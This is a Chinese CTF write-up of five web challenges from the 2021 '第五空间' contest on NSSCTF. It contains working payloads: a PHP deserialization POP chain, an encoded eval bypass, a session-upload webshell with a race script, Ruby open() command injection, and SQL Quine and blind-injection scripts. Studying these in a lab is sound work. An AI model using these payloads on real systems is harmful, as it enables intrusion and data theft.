第五空间2021 Web(NSS)
1.WebFTP
直接访问phpinfo.php可得
2.pklovecloud
知识点
- pop链
- 序列化和反序列化
- 强比较
- _toString(在对象被当作字符串时自动触发)
分析
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
- 首先查看源码,这个pkshow类肯定是没用的
- 再看这个ace类,发现有
return file_get_contents($file);
说明pop链中这个ace::echo_name();
在结尾 - 函数中的条件判断要求
$this->openstack->neutron === $this->openstack->nova
可以想着当两个值都为NULL的时候强比较成立 - 往上看acp类中的_toString(),当对象被当成字符串时自动触发并出发echo_name()函数,所以pop链自然也就构成了
- acp类中,
__toString()
里出现了echo_name()
,因此我们想到令acp->cinder=new ace()
即
ace::_construct() -> acp::__toString() -> acp:: echo_name()
解决
代码如下:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename = 'flag.php';
public $openstack;
public $docker;
}
$b = new ace();
$b->docker = null;
$a = new acp();
echo urlencode(serialize($a));
?>
故payload:
?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
之后进入网页,源代码里有被注释的代码:
<?php
$heat="asdasdasdasd53asd3a1sd3a1sd3asd";
$flag="flag in /nssctfasdasdflag";
简单改动即可:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename = '../nssctfasdasdflag'; //做个目录穿越
public $openstack;
public $docker;
}
$b = new ace();
$b->docker = null;
$a = new acp();
echo urlencode(serialize($a));
?>
最后得到:
NSSCTF{6d36b684-fff6-4e82-9939-a26ca1febf80}
3.EasyCleanup
<?php
// 如果未设置 GET 参数 'mode',则高亮显示当前文件内容(便于查看代码)
if (!isset($_GET['mode'])) {
highlight_file(__FILE__);
} else if ($_GET['mode'] == "eval") {
// 如果设置了 'mode' 为 'eval',则执行 eval() 逻辑
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
// 获取用户传入的 'shell' 参数,默认为 'phpinfo();'
// 检查 shell 参数是否满足以下条件:
// - 长度超过 15 个字符
// - 经过 filter() 函数过滤(返回 true 表示禁止)
// - 经过 checkNums() 函数检查(返回 true 表示禁止)
// 如果上述任一条件触发,则退出并显示 "hacker"
if (strlen($shell) > 15 | filter($shell) | checkNums($shell)) {
exit("hacker"); // 退出脚本并提示 "hacker"
}
eval($shell); // 执行用户提供的 shell 代码(高危操作,存在安全风险)
}
if (isset($_GET['file'])) {
// 如果设置了 GET 参数 'file',则包含用户提供的文件
if (strlen($_GET['file']) > 15 | filter($_GET['file'])) {
exit("hacker"); // 如果文件名长度超过 15 或包含禁用字符,退出
}
include $_GET['file']; // 包含用户提供的文件(高危操作,存在文件包含漏洞)
}
// 自定义过滤函数,检查字符串中是否包含禁用的字符或关键词
function filter($var) {
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
foreach ($banned as $ban) { // 遍历禁用列表
if (strstr($var, $ban)) { // 如果字符串中包含禁用字符或关键词
return true; // 返回 true,表示需要禁止
}
}
return false; // 否则返回 false
}
// 检查字符串中字母和数字的数量是否超过 8 个
function checkNums($var) {
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0; // 初始化计数器
// 遍历所有字母和数字字符
for ($i = 0; $i < strlen($alphanum); $i++) {
for ($j = 0; $j < strlen($var); $j++) { // 遍历输入字符串中的每个字符
if ($var[$j] == $alphanum[$i]) {
$cnt += 1; // 如果匹配,计数器加 1
if ($cnt > 8) { // 如果计数器超过 8
return true; // 返回 true,表示禁止
}
}
}
}
return false; // 否则返回 false
}
?>
这里我们发现源码中有eval,这让人感觉可以用rce,但是源码中的filter和checkNums过滤了较多,难以达到rce,但是可以尝试一下列表:
?mode=eval&shell=system('ls /');
注意到nssctfasdasdflag,应该就是flag的文件,但是文件名太长会被过滤,所以尝试:
?mode=eval&shell=system('nl /n*');
结果爆hacker了,那就试着取反:
?mode=eval&shell=system(~%91%93%DF%D0%D5);
好像是运气好试出来了(?)
另外,注意到源码中还有file,证明存在文件包含漏洞,看了其他大佬的wp
2021-第五空间智能安全大赛-Web-EasyCleanup-优快云博客
PHP中session.upload_progress的利用 |沉铝汤的破站
文章 - 浅谈 SESSION_UPLOAD_PROGRESS 的利用 - 先知社区
发现可以先查看phpinfo:
?mode=eval
这里shell默认是phpinfo();,所以不用传shell
这里的session.use_strict_mode=0
session.upload_process.cleanup为off,不需要进行条件竞争。且没有session.save_path,默认就是/tmp/sess_xxxx.
利用上传文件的代码:
<!DOCTYPE html>
<html>
<head>
<title>111</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://node4.anna.nssctf.cn:28673/" method="POST" enctype="multipart/form-data">
<!--不对字符编码-->
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php eval($_POST['cmd']); ?>" />
<input type="file" name="file" />
<input type="submit" value="go" />
</form>
</body>
</html>
再抓包更改Cookie中 PHPSESSID=7t0 (本地访问phtml,然后随便上传个文件后抓包)
http://http://node4.anna.nssctf.cn:28673/?file=/tmp/sess_7t0
再蚁剑连接
或者的或者,也可以参考条件竞争脚本:
# -*- coding: utf-8 -*-
import io
import requests
import threading
myurl = 'http://node4.anna.nssctf.cn:28673/'
sessid = '7t0'
myfile = io.BytesIO(b'hakaiisu' * 1024)
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls -lha /');?>"}
mycookie = {'PHPSESSID': sessid}
def writeshell(session):
while True:
resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie)
def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass
if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)
4.PNG图片转换器
下载附件,是一段Ruby代码:
require 'sinatra'
require 'digest'
require 'base64'
get '/' do
open("./view/index.html", 'r').read()
end
get '/upload' do
open("./view/upload.html", 'r').read()
end
post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end
end
get '/convert' do
open("./view/convert.html", 'r').read()
end
post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end
file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end
源码所提供的Sinatra应用程序中的漏洞存在于/convert路由对file参数的处理中,当参数以竖线(|
)开头时,允许通过Ruby的open方法进行命令注入。这使得能够通过创建以结尾的文件名来执行任意命令(.png
),同时包含命令注入有效负载。
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
而注意看这段话,他是将上传的png格式文件的内容以base64加密后返回
但是
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
对…/进行过滤,所以难以直接上传
尝试抓包提交页面
发现可以修改file的值,然后我们回到上面所说的Ruby中的open存在漏洞(CVE-2017-17405)
Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open函数。而在ruby中,open函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
先查看一下目录:
file=|`echo ls / | base64 -d`>f097ab2163b569f3bf5dd5aa013131c6.png
将ls /
转换一下(base64 -d
转码,>
重定向将命令输出保存到文件,使用``)
file=|`echo bHMgLw== | base64 -d`>f097ab2163b569f3bf5dd5aa013131c6.png
解码发现:
app
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
并没有明显的flag文件,那试试查看环境变量:(这里没过滤不需转换)
file=|bash -c env f097ab2163b569f3bf5dd5aa013131c6.png
bash -c env
:
bash -c
启动一个新的 bash 会话并执行其后的命令。env
是一个命令,用于打印当前环境变量。
5.yet_another_mysql_injection
这题目真头疼啊,sql一生之敌
查看源码,提示访问/?source
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
从下面两段代码可以看出
if ($username !== 'admin')
{
alertMes('only admin can login', 'index.php');
}
if ($row['password'] === $password)
{
die($FLAG);
}
账号必须要求为admin,而只有密码是可控的且密码要完全正确才会输出flag
用了个脚本跑一下密码,发现其实是个空表?(我这边跑不出东西)
import requests
url = 'http://node4.anna.nssctf.cn:28785/index.php'
zzz = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
while True:
for j in zzz:
data = {
"username": "admin",
"password": f"-1'/**/or/**/passwd/**/like/**/'{flag + j}%'#"
}
res = requests.post(url, data=data)
if "something wrong" not in res.text:
flag = flag + j
print(flag)
break
那我们这里只能引入SQL注入里的Quine注入(输入的语句与输出一致)
CTFHUB 2021-第五空间 yet_another_mysql_injection_ctf php与mysql-优快云博客
(这两篇文章对于quine注入有详细解释)
Quine基本形式:
语法:REPLACE ( string_expression , string_pattern , string_replacement )
replace(replace(‘str’,char(34),char(39)),char(46),‘str’)
先将str里的双引号替换成单引号,再用str替换str里的.
str基本形式(可以理解成上面的".")
replace(replace(“.”,char(34),char(39)),char(46),“.”)
完整的Quine就是Quine基本形式+str基本形式
payload:
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#